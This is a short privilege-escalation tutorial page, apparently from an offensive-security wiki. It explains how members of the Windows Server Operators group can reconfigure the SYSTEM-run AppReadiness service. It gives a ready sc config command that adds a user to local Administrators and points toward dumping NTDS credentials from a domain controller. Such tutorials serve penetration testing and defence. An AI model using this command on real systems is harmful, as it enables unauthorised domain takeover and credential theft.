> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/accounts-and-and-groups-in-depth/server-operators.md).
# Server Operators
Server Operators have the ability to administer servers and logon to DCs without the assignment of Domain Admin privileges. They generally have the `SeBackupPrivilege` and `SeRestorePrivilege` and have the ability to control local services
## Modifying Service binPath
The App Readiness Service ensures that applications are prepared for use when a user logs onto the PC for the first time as well as when they add new applications. This service starts as SYSTEM. You can discover what services are started as SYSTEM by examining them via `sc.exe`
```bat
C:\Users\Jamie Gabbay>sc qc AppReadiness
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppReadiness
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\windows\System32\svchost.exe -k AppReadiness -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : App Readiness
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
```
You can also explore what groups have permissions over this service via the [PsService](https://learn.microsoft.com/en-us/sysinternals/downloads/psservice) utility tool by Mark Russinovich.
In this case, we can see the `BUILTIN\Server Operators` have `ALL` permissions (a.k.a `SERVICE_ALL_ACCESS`) over this service, meaning they can start, stop, pause, resume, restart, and modify the AppReadiness service. Read more about [Service Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights).
We could modify the AppReadiness service's binary path to instead execute a command which adds our current user to the default local administrators group or start a reverse shell. There's a world of options here.
```
sc config AppReadiness binPath="cmd /c net localgroup Administrators server_adm /add"
```
> Note that adding a user to a local group is as follows:
```
net localgroup /add
```
From here we could entirely take over the Domain Controller, retrieving credentials from NTDS DB or retrieve NTLM PW Hashes from the DC.
